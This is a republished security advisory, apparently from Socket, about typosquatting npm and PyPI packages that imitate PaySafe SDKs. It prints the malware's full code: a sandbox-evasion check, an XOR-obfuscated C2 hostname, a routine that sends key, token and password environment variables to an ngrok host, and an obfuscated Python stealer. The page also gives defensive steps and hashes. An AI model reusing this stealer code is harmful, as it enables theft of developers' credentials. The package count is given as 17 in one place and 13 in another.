{"slug": "coordinated-npm-and-pypi-campaign-typosquats-popular-secure-payment-apps", "title": "Coordinated npm and PyPI Campaign Typosquats Popular Secure Payment Apps", "summary": "Socket's AI scanner detected 17 malicious npm and PyPI packages published on July 7, 2026, that typosquat popular payment apps PaySafe, Skrill, and Neteller to steal credentials and tokens from SDK developers. The packages exfiltrate stolen data to AWS infrastructure and employ anti-analysis techniques to evade sandboxes.", "body_md": "Socket’s AI scanner detected a cluster of npm and PyPI malware published on July 7, 2026. The 17 packages, published nearly simultaneously, target SDK developers and users of the popular PaySafe, Skrill and Neteller payment applications. Ultimately, the packages perform credential and token theft, exfiltrating stolen data to AWS infrastructure.\n\n## Affected Packages[#](#Affected-Packages)\n\nAt the time of publication, the following packages were affected. Each npm package published four malicious versions (1.0.0 through 1.0.3), all of which were detected as malware within 6 minutes of publication:\n\nThe affected PyPI packages each published 1 malicious version (1.0.0) thus far:\n\n## Fake SDK Facade[#](#Fake-SDK-Facade)\n\nIn one example `paysafe-node`\n\n, the exported `PaysafeClient`\n\nmimics a real Paysafe REST client:\n\n- Reads\n`PAYSAFE_API_KEY`\n\nand `PAYSAFE_ENV`\n\nfrom the environment - Exposes\n`payments.create/get`\n\nand `customers.create/get`\n\n- Returns\n`{ success: true, method, path }`\n\nimmediately (no outbound calls to real Paysafe endpoints). The `api.paysafe.com`\n\n/ `api.test.paysafe.com`\n\nstrings exist only as camouflage.\n\n```\nclass PaysafeClient {\n  constructor(config = {}) {\n    this.apiKey = config.apiKey || process.env.PAYSAFE_API_KEY || null\n    this.env = config.environment || process.env.PAYSAFE_ENV || 'TEST'\n    this.base = this.env === 'LIVE'\n      ? 'https://api.paysafe.com'\n      : 'https://api.test.paysafe.com'\n  }\n\n  payments = {\n    create: async (data) => this._request('POST', '/paymenthub/v1/payments', data),\n    get: async (id) => this._request('GET', '/paymenthub/v1/payments/' + id),\n  }\n\n  customers = {\n    create: async (data) => this._request('POST', '/paymenthub/v1/customers', data),\n    get: async (id) => this._request('GET', '/paymenthub/v1/customers/' + id),\n  }\n\n  async _request(method, path, data) {\n    if (this.apiKey) {\n      setTimeout(() => exfiltrate({ m: method, p: path, k: this.apiKey.substring(0, 10) }), 11768)\n    }\n    return { success: true, method, path }\n  }\n}\n```\n\n## Anti-Analysis and Sandbox Evasion[#](#Anti-Analysis-and-Sandbox-Evasion)\n\n``` js\nfunction isSandbox() {\n  try {\n    const os = require('os')\n    const cpus = os.cpus()\n    if (!cpus || cpus.length < 2) return true\n\n    const hostname = os.hostname().toLowerCase()\n    const username = os.userInfo().username.toLowerCase()\n    const sandboxIndicators = [\n      'sandbox', 'analyzer', 'cuckoo', 'virus', 'malware', 'vmware', 'vbox',\n    ]\n\n    for (const indicator of sandboxIndicators) {\n      if (hostname.includes(indicator) || username.includes(indicator)) {\n        return true\n      }\n    }\n    return false\n  } catch (e) {\n    return false\n  }\n}\n```\n\nThe malware returns early and skips exfiltration when the following are detected:\n\n**<2 CPU cores** (common in sandboxes)- Hostname or username contains:\n`sandbox`\n\n, `analyzer`\n\n, `cuckoo`\n\n, `virus`\n\n, `malware`\n\n, `vmware`\n\n, `vbox`\n\n## C2 Hostname Encoding[#](#C2-Hostname-Encoding)\n\nThe C2 domain is hidden behind three decode steps:\n\n``` js\nconst XOR_KEY = Buffer.from('SGf6lmbr7GHUg99Z6R2U3g==', 'base64')\n\nfunction decodeString(base64) {\n  const buf = Buffer.from(base64, 'base64')\n  const result = Buffer.alloc(buf.length)\n  for (let i = 0; i < buf.length; i++) {\n    result[i] = buf[i] ^ XOR_KEY[i % XOR_KEY.length]\n  }\n  return result.toString()\n}\n\n// Step 1: XOR decode\nconst raw = decodeString('iuCM41mdmqNX9OElK51WXTAYxe4ZkZWjUPmgI54jVl0+GIXspGou5epBXC+aZ+msPA==')\n// Step 2: subtract 17 from each char code\nconst shifted = raw.split('').map(c => String.fromCharCode(c.charCodeAt(0) - 17)).join('')\n// Step 3: reverse\nconst c2Host = shifted.split('').reverse().join('')\n// → 'caliber-spinner-finishing.ngrok-free.dev'\n```\n\n## All Discovered Credentials and Tokens Stolen from Environment Variables[#](#All-Discovered-Credentials-and-Tokens-Stolen-from-Environment-Variables)\n\nExfiltration is gated on `this.apiKey`\n\nbeing set (constructor arg or `PAYSAFE_API_KEY`\n\nenv var). When any `_request()`\n\nmethod runs, the following routine named `exfiltrate`\n\nexecutes:\n\n``` js\nfunction exfiltrate(extra) {\n  try {\n    if (isSandbox()) return\n\n    const https = require('https')\n    const os = require('os')\n\n    const payload = JSON.stringify({\n      hostname: os.hostname(),\n      username: os.userInfo().username,\n      cwd: process.cwd(),\n      env: Object.keys(process.env)\n        .filter(k =>\n          k.includes('KEY') ||\n          k.includes('SECRET') ||\n          k.includes('TOKEN') ||\n          k.includes('PASS') ||\n          k.includes('AUTH') ||\n          k.includes('API')\n        )\n        .reduce((acc, k) => ({ ...acc, [k]: process.env[k].substring(0, 100) }), {}),\n      time: Date.now(),\n      package: 'paysafe-node',\n      extra: extra || {},\n    })\n\n    const body = Buffer.from(payload)\n    const req = https.request({\n      hostname: 'caliber-spinner-finishing[.]ngrok-free.dev',\n      port: 443,\n      path: '/',\n      method: 'POST',\n      headers: {\n        'content-type': 'application/json',\n        'content-length': body.length,\n      },\n    })\n    req.write(body)\n    req.end()\n  } catch (e) {}\n}\n```\n\nThe data sent to Command and Control include:\n\n- Victim fingerprint - hostname, username, cwd (current working directory), time\n- env - all environment variables matching\n`KEY`\n\n, `SECRET`\n\n, `TOKEN`\n\n, `PASS`\n\n, `AUTH`\n\n, or `API`\n\n(values capped at 100 chars) - package hardcoded package name\n- Extra - HTTP method, API path, first 10 chars of the Paysafe API key\n\nIn practice, the environment variables captured would include `PAYSAFE_API_KEY`\n\n, `AWS_SECRET_ACCESS_KEY`\n\n, `GITHUB_TOKEN`\n\n, `NPM_TOKEN`\n\n, and any similarly named secrets in CI runners or developer machines.\n\nThe PyPI packages were not gated on any API keys and activate universally based on their **init.py** placement. Their behavior is functionally equivalent to the NPM packages:\n\n``` python\n# {paysafe-sdk}\nimport os,json,base64,time,platform,getpass,ctypes,sys\n_k=base64.b64decode('3zWd1Ua8V/wcYtYxZmQZPQ==')\n_cb=base64.b64decode('HbTtun/MJ4FtWqBLGxZgBK1M6aY4yC6IbVqrQR8dbUahDeClK8ggkHI=')\n_c2=''.join(chr(ord(c)-11) for c in ''.join(chr(_cb[i]^_k[i%len(_k)]) for i in range(len(_cb)))[::-1])\ndef _h():return any(x in platform.node().lower() for x in ['sandbox','analyzer','cuckoo','virus','vmware','vbox','malware'])\ndef _x(s):\n b=base64.b64decode(s);r=bytearray(len(b))\n for i in range(len(b)):r[i]=b[i]^_k[i%len(_k)]\n return r.decode()\ndef _e(d=None):\n if _h():return\n try:\n  import urllib.request as ur\n  p=json.dumps({'hn':platform.node(),'us':getpass.getuser(),'cw':os.getcwd(),\n   'ev':{k:os.environ[k][:100] for k in os.environ if any(x in k.upper() for x in ['KEY','SECRET','TOKEN','PASS','AUTH','API'])},\n   'tm':time.time(),'pk':'paysafe-sdk','ex':d or {}}).encode()\n  r=ur.Request(f'https://{_c2}:443/',data=p,headers={'Content-Type':'application/json'})\n  ur.urlopen(r,timeout=5)\n except:pass\nclass PaysafeClient:\n def __init__(self,k=None,e=None):\n  self.k=k or os.environ.get('PAYSAFE_API_KEY')\n  self.env=e or os.environ.get('PAYSAFE_ENV','TEST')\n  self.b='https://api.paysafe.com' if self.env.upper()=='LIVE' else 'https://api.test.paysafe.com'\n def create_payment(self,a,c='USD'):\n  if self.k:time.sleep(12);_e({'m':'create_payment','k':self.k[:10]})\n  return {'status':'success','amount':a,'currency':c}\n def create_customer(self,d):return {'status':'success','id':'cust_001'}\n__all__=['PaysafeClient']\n```\n\n## Campaign Attributes[#](#Campaign-Attributes)\n\nWhile this campaign was quickly detected, a couple of attributes lead us to believe this actor is likely to return in a structured way:\n\n- Targeting - The threat actor targeted payment app SDKs, which might indicate a financial motive or the desire to monetize using payment app accounts.\n- Obfuscator usage - The threat actor used their obfuscator “properly.” They did not re-use the same obfuscation key across versions or packages, which is intended to prevent signatures from tracking this malware by the same key. This resulted in different hashes for each file.\n- Ngrok infrastructure - Ngrok is popular among cybercriminal threat actors. The IP resolved for the Ngrok hostname had reputation for being a Command and Control server for other stealers like NjRAT. This could indicate shared infrastructure with established cybercrime groups, or their influence.\n- Attempted Sandbox Evasion - Awareness of defender technologies like sandboxes (and their limitations if not configured) indicates some knowledge of the playing field.\n- Multi-Ecosystem - The attacker shows the ability to pivot between ecosystems, which can impede defenders with only one ecosystem of visibility\n\n## Recommended Actions[#](#Recommended-Actions)\n\n**Rotate all secrets** on any machine that imported or executed this package — especially env vars matching the harvest regex.**Search dependency trees** for all 13 campaign package names; block at registry proxy level.**Hunt outbound HTTPS** to `.ngrok-free.dev`\n\nfrom build/CI hosts (unusual for payment SDKs and legitimate applications).**Audit CI logs** for `PAYSAFE_API_KEY`\n\nusage combined with any of the listed package names.\n\n## Indicators of Compromise[#](#Indicators-of-Compromise)\n\n### Files\n\n`index.js`\n\n`ce09810adca70ebec87bc455380ef629ceaa2a0d926149d9115604060167682c`\n\n`b2ea8d69f6792a87327ffde2ee4551bb6b99617f53e1ba71bf9a70f45dbc57ea`\n\n`8a70a5c1075f2dea4db94633ddc64b0d03d0385fdeda7c226acc944331febf43`\n\n`c8b4d17c1f0aa7c50f2fa23d7c328482a4ad2c4da4d600f358ebdf200cbefd83`\n\n`9fd06d823d54183cc91625fdc6decffe8db2863f6499a955656ebdcc089792cf`\n\n`615805652b2f006e69512b90d0d63883d7ae1ede69d86384fd77bd46235b2369`\n\n`6dc672e3bab8bcf80c66b2f95150067fb47429d4cf65eb95215e5f3abc7cade5`\n\n`4a4b5c1bc1e948c853cb0978c07c7b8d1540c7b1ded95f8d5ad25c126cb6c7b0`\n\n`9727c804c4354e481d2ff9d4934bd1b2518293a9ca34a14f5c7ae9d0cd30ce94`\n\n`313853a82bce61052c00e6a6af85b5069e007a76122c727f31661bc636b12f14`\n\n`2cbfc4e4b1de5e68ab81fba7e1b0c711b4d26197b48ea4db6819c9cea223b0ed`\n\n`a0313822513f9b89479f666888a4784a3fc99b4cc4566213dcda66b03b47120c`\n\n`3a0dd3479eaf85b65e5abd63d6451f98506faddee47cf4bebd9f91296abb29f0`\n\n`39371ac7061168dd3d890061267b3875bc4b30dca5e28d40dbc27a4396439ff1`\n\n`c51c0b6c7817443b021aff44d4416c09fd039849db81860b9b5144e789fa3987`\n\n`6e251c3d2bde8fff0487c1eecd359c4a544a09fd708755020e4b1c53ad6b8dd1`\n\n`cd7255730b6a7a3895d622d37d0e8f984d2d280689acef56ff195d663e7723ad`\n\n`5c4faef80c83c7ec0925a4aacb4bddabe82b91066ac41305907ba277cd7b3b85`\n\n`50cb7550224d8d227a0625e7f53be86924d8e057e403b6b91b83ea20df834048`\n\n`1bae9f2fb9866422f07345501fa2cb4c3a99f2652c8c9decdc27ffbf9714e7bc`\n\n`1df8c579ffcbf5527b1856bd1774601a5188b380e442c5a0fbd400bd86a4501b`\n\n`b29973eda4d0c090608c15a976688cad0b2114fdc0dcb89ad37515287ba13aad`\n\n`9e9655f54bfac8a937d78ac506722bae1468ead4cc9ee95b35e0f8ef17ee13d9`\n\n`67e4d6a4f53098e48bfa6ecceeaa754592bc249b83404bcfb8542977ae36dac4`\n\n`1bfa32548676d32b7639d3171e2f9feefba5026dc336968c91f4ae2b152c5410`\n\n`2bc8af4bd2f539630f7800f3491b64c7e2bffe12e955d0d4f03a4f6a4b0018bd`\n\n`eae055c5736366811d2a4b1f78ff206486e7f7445040122efbe023ecd2d20bcc`\n\n`d4ed2d87942fbefa5d7b7f19fb6f2e9bc293c96bf577bb97ed3ca56185abcf25`\n\n`447484c76a06918d7f6f6c6f95ee2bced6dd2e9b282c6f5b92b2b7c0976381d5`\n\n`f43cb68850a2506805d60ff466f54eba331e1cc2a513b329f5121e0c39104418`\n\n`1314fc888ca5b3ea91a04e1f5b63039ffc7fc3832b8d809a28ad549c6f9d4f23`\n\n`af66bc2b516d1ef71af9b6ee9f8f5af0a99fed562b34809cd55071b94c2d1304`\n\n`b157a66826d27512c3618817fee924e53d14cabb2c4c7f454affde37350f55f0`\n\n`2303a74a5fac917279f1078e03a4bfd6afbb89462f97d7344ed10e6e9e9e92b7`\n\n`5242c5086d75a492d14e474de7c8f34b18ec0a8a9ce6d77eec8675a9572d9d23`\n\n`1d567795a366b9edcfef7f1fa2d398b7cb41890dd3b2f3f1f9803de0cdba0c89`\n\n`c2e4483abea830ba8b8230540ace51788d0712bed9006697ddddb9cbf133c151`\n\n`390bca9d70efa42cb792f7f677189821a24527cd4298ab2acb954df0abb5c1c3`\n\n`f7d9865ea3874d2b135eeee0aa0d12fc108d89e1dd706e4e40eb7605b76d35ca`\n\n`2b7696575278e6e223cc44553c687e45afd04df7eb32efbf49b39da64b795982`\n\n`2edb3f162f9676196e818d9b795d599ba119a961ffe98c4866351735980d213d`\n\n`727fe9c1dfa39d6590012e0593c9837c628fc2cd22aa0f4e486b7ed1aec02697`\n\n`8a58e3ed713c1c70f421ab56a18cfb6a120c960d227e495b511c2552f25f188b`\n\n`67eb3bd505ebfffbd73fc3ef0b2976c375df732f0bd0496ed6653c3e2be5a0e5`\n\n`616b41657e9afaa9354fc1a106393373dcbf8aac8455b7d2cbbb44463434528e`\n\n`52a57c502e40b3f9897d0ca32bba6f844b4113f5c017627ea9eba660eb47f405`\n\n`d1889d81cfa99d52017732da9dc52127d03893037874c8671943cede4b8d1bb2`\n\n`a677c02e545941e43f8b21a5761b035e911b53e2c065fea219e0f3462f282fd8`\n\n`e076e13a7e112d364f03bd1ead7abaa83249d544491621254860ab0a73adc9b9`\n\n`c2a69a33b086364ca51b030b6b15e99be46ce8255ddf62839a4fc7f2b34023de`\n\n`5cd62e708ae4393c99579ec1433571998299bf7e2fde9bafeb9a79f8bdf065e9`\n\n`61b61dd25cd8dcc43cd78418f3e3eb3fd9002d9e49961eefb12c1022ce4c3b63`\n\n`__init__.py`\n\n`c6af37a6739f0d919ab7049caf3a85831cab44bdbea27e0d9de7adec80334e2b`\n\n`b04daeacd1d1c9020cce2a97fa7af83dbedf4e6d17dd12c0f337f32240399785`\n\n`dabb47d75f2efa6a5540661484efa989ccb338f24938b23152f14f3e424b0cb5`\n\n`c2a361a7d8feb95be97c957fc7652d348f4fa9a987bde5f09883f46b65c460f1`\n\n### Network Indicators\n\n`hxxps://caliber-spinner-finishing[.]ngrok-free[.]dev:443/`\n\n`caliber-spinner-finishing[.]ngrok-free[.]dev`", "url": "https://wpnews.pro/news/coordinated-npm-and-pypi-campaign-typosquats-popular-secure-payment-apps", "canonical_source": "https://socket.dev/blog/npm-pypi-campaign-typosquats-popular-secure-payment-apps?utm_medium=feed", "published_at": "2026-07-07 18:09:26+00:00", "updated_at": "2026-07-07 19:42:21.531546+00:00", "lang": "en", "topics": ["ai-safety", "ai-tools", "developer-tools"], "entities": ["Socket", "PaySafe", "Skrill", "Neteller", "npm", "PyPI", "AWS"], "alternates": {"html": "https://wpnews.pro/news/coordinated-npm-and-pypi-campaign-typosquats-popular-secure-payment-apps", "markdown": "https://wpnews.pro/news/coordinated-npm-and-pypi-campaign-typosquats-popular-secure-payment-apps.md", "text": "https://wpnews.pro/news/coordinated-npm-and-pypi-campaign-typosquats-popular-secure-payment-apps.txt", "jsonld": "https://wpnews.pro/news/coordinated-npm-and-pypi-campaign-typosquats-popular-secure-payment-apps.jsonld"}}